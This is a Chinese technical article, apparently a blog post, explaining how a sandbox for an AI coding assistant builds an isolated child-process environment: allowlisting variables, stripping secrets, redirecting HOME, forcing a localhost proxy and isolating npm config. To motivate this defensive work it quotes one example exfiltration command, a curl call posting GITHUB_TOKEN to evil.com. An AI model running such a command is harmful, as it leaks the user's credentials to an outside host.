八、环境隔离——构建安全的子进程环境

本篇讲解 src/env.ts------如何给子进程构建一个干净的环境变量表,剥离敏感凭证,重定向 HOME,配置代理。

1. 为什么需要环境隔离?

想象一个场景:你的 CI 系统在环境变量里存了 GITHUB_TOKEN,用于自动发布 npm 包。现在 AI 助手要帮你跑一条命令,它启动的子进程会原封不动地继承你当前的所有环境变量 ------也就是说,它可以直接 process.env.GITHUB_TOKEN 读到你的令牌。

如果这条命令里藏了 curl https://evil.com -d $GITHUB_TOKEN,你的凭证就泄露了。

这不是假设,而是真实的安全风险:不做环境隔离,子进程就能看到宿主机的一切。 env.ts 就是来解决这个问题的------它给子进程构造一个"最小够用"的干净环境,敏感凭证根本不会出现在里面。

2. buildSandboxEnv------核心函数

typescript 复制代码
export function buildSandboxEnv(options: BuildSandboxEnvOptions): NodeJS.ProcessEnv {
  const env: NodeJS.ProcessEnv = {};

  // 1. 白名单拷贝
  for (const key of options.envAllowlist) {
    if (STRIPPED_SECRET_ENV_KEYS.includes(key as (typeof STRIPPED_SECRET_ENV_KEYS)[number])) {
      continue;  // 白名单里有敏感变量?跳过!
    }
    const value = process.env[key];
    if (value !== undefined) {
      env[key] = value;
    }
  }

  // 2. 确保 PATH 存在
  // 为什么不也从白名单拷贝?因为 PATH 是子进程"找到命令"的前提------没有 PATH,
  // ls、node、git 这些基本命令都跑不起来。所以 PATH 必须保留。
  //
  // 那 PATH 会不会泄露宿主机信息?确实有可能:
  //   /Users/feng.shen/.nvm/versions/node/v20/bin  ← 暴露了用户名
  //   /opt/company-tools/bin                        ← 暴露了公司工具链
  //
  // 但实际风险很低:
  //   - PATH 只是目录列表,不包含任何密钥或凭证
  //   - 即使子进程知道用户名,没有 HOME 访问权限(见第 3 步重定向)也读不到敏感文件
  //   - Seatbelt 层会限制文件系统访问,进一步兜底
  env.PATH = process.env.PATH ?? env.PATH ?? '';

  // 3. HOME 重定向
  env.HOME = options.executionRoot;
  env.CODEBUDDY_REAL_HOME = options.realHome;
  
  env.CODEBUDDY_SANDBOX = '1';
  env.CODEBUDDY_SANDBOX_MODE = options.mode;
  env.CODEBUDDY_SANDBOX_NETWORK = options.network ? '1' : '0';

  // 4. 剥离敏感变量
  for (const key of STRIPPED_SECRET_ENV_KEYS) {
    delete env[key];
  }

  // 5. 代理配置
  if (options.network) {
    assertSeatbeltProxyUrl(options.proxyUrl, options.mode);
    env.HTTP_PROXY = options.proxyUrl;
    env.HTTPS_PROXY = options.proxyUrl;
    env.http_proxy = options.proxyUrl;
    env.https_proxy = options.proxyUrl;
    env.NO_PROXY = '';
    env.no_proxy = '';
  } else {
    // 断网:把代理变量清空
    env.HTTP_PROXY = '';
    env.HTTPS_PROXY = '';
    env.http_proxy = '';
    env.https_proxy = '';
    env.NO_PROXY = '';
    env.no_proxy = '';
  }

  // 6. 额外环境变量
  for (const [key, value] of Object.entries(options.extraEnv ?? {})) {
    if (value === undefined) {
      delete env[key];
    } else if (!STRIPPED_SECRET_ENV_KEYS.includes(key as ...)) {
      env[key] = value;
    }
  }

  // 7. npm 配置隔离
  const sandboxNpmrcPath = path.join(options.executionRoot, '.sandbox-npmrc');
  ensureEmptyFile(sandboxNpmrcPath);
  env.NPM_CONFIG_USERCONFIG = sandboxNpmrcPath;
  env.NPM_CONFIG_GLOBALCONFIG = sandboxNpmrcPath;

  return env;
}

3. 逐步拆解

3.1 白名单拷贝

typescript 复制代码
for (const key of options.envAllowlist) {
  // 双重检查:即使白名单里有敏感变量也跳过
  if (STRIPPED_SECRET_ENV_KEYS.includes(key as ...)) continue;
  const value = process.env[key];
  if (value !== undefined) env[key] = value;
}

只拷贝白名单里的变量(PATH、LANG、TERM 等),其他一概不传。

3.2 HOME 重定向

typescript 复制代码
env.HOME = options.executionRoot;
env.CODEBUDDY_REAL_HOME = options.realHome;

为什么要把 HOME 改成 executionRoot?

很多工具会默认读写 ~/.cache~/.config~/.npm~/.ssh。把 HOME 指到 executionRoot,可以减少工具默认去真实用户家目录读写的概率。

同时把真实 HOME 存到 CODEBUDDY_REAL_HOME,以防需要时可以找回。

3.3 代理配置

typescript 复制代码
if (options.network) {
  assertSeatbeltProxyUrl(options.proxyUrl, options.mode);
  env.HTTP_PROXY = options.proxyUrl;
  env.HTTPS_PROXY = options.proxyUrl;
  // ...
} else {
  env.HTTP_PROXY = '';
  // ...
}

开网时 :设置 HTTP_PROXYHTTPS_PROXY 指向本地代理(http://127.0.0.1:8787)。

断网时 :把代理变量清空(而不是不设置)。为什么不设置不行?因为如果宿主机已经设了 HTTP_PROXY,不覆盖的话子进程会继承它,绕过代理直接访问外网。

3.4 npm 配置隔离

typescript 复制代码
const sandboxNpmrcPath = path.join(options.executionRoot, '.sandbox-npmrc');
ensureEmptyFile(sandboxNpmrcPath);
env.NPM_CONFIG_USERCONFIG = sandboxNpmrcPath;
env.NPM_CONFIG_GLOBALCONFIG = sandboxNpmrcPath;

npm 默认会读 ~/.npmrc,里面可能有 auth token。把 NPM_CONFIG_USERCONFIG 指向一个空文件,npm 就不会去读真实的 .npmrc 了。

4. assertSeatbeltProxyUrl------代理地址校验

typescript 复制代码
export function assertSeatbeltProxyUrl(proxyUrl: string, mode: SandboxMode): void {
  if (mode === 'danger-full-access') return;  // 全开模式不限制

  const parsed = new URL(proxyUrl);
  const isLocalhost = parsed.hostname === '127.0.0.1' || parsed.hostname === 'localhost';
  const port = parsed.port || '80';

  if (parsed.protocol !== 'http:' || !isLocalhost || port !== '8787') {
    throw new Error(
      `Current Seatbelt profiles only allow http://127.0.0.1:8787 (or localhost:8787). Received: ${proxyUrl}`,
    );
  }
}

为什么只允许 127.0.0.1:8787

因为 Seatbelt profile(read-only.sb / workspace-write.sb)里只放行了到 localhost:8787 的出站连接。如果代理地址不是这个,Seatbelt 会直接拒绝子进程的网络请求,导致代理根本不工作。

5. 环境变量生命周期

scss 复制代码
宿主机环境
    │
    ▼  buildSandboxEnv()
白名单拷贝 + HOME 重定向 + 凭证剥离 + 代理配置
    │
    ▼  传给 spawnAndWait({ env: sandboxEnv })
子进程拿到的环境

关键 :子进程看不到宿主机的 process.env,只能看到 buildSandboxEnv 产出的 env 对象。

6. 小结

要点 说明
白名单拷贝 只有白名单里的变量会传给子进程
HOME 重定向 把 HOME 改成 executionRoot,减少工具默认访问真实 HOME
凭证剥离 SSH、AWS、GitHub 等敏感变量全部删除
代理配置 开网时设代理,断网时清空代理变量
npm 隔离 指向空 .npmrc,防止读取真实 npm 配置
代理地址校验 只允许 http://127.0.0.1:8787(和 Seatbelt profile 一致)

核心思想:子进程只能看到它"应该"看到的环境,不该看的一律不给。

相关推荐
手写码匠1 小时前
从零实现 Prompt 工程引擎:结构化提示、自动优化与多轮自省体系
人工智能·深度学习·算法·aigc
甲维斯1 小时前
Claude Fable5首测,GPT5.5和国产模型弱爆了!
人工智能
2301_818527781 小时前
瑜伽服面料科技——AI加速创新材料研发
人工智能
键盘侠伍十七1 小时前
Gandalf Lakera AI Prompt Injection 靶场深度教程:从 Level 1 到 Level 8 全面攻防解析
人工智能·prompt·ai安全
调试优选官1 小时前
2026年上海GEO优化公司全景透视:技术路线、选型逻辑与实施路径
人工智能·技术分享·geo·上海
li-xun1 小时前
2026年6月9日博客精选
人工智能·每日阅读
黑马师兄1 小时前
RAG混合检索深度解析:让AI真正找到你要的内容
java·人工智能·ai·agent·rag·ai-native
哈伦20191 小时前
第十二章 深度学习基础 案例:MLP实现银行单据手写数字识别
人工智能·深度学习·图像识别
右耳朵猫AI1 小时前
GitHub周趋势2026W22 | AI编程工具、知识图谱、自托管、AI代理、代码智能
人工智能·github·ai编程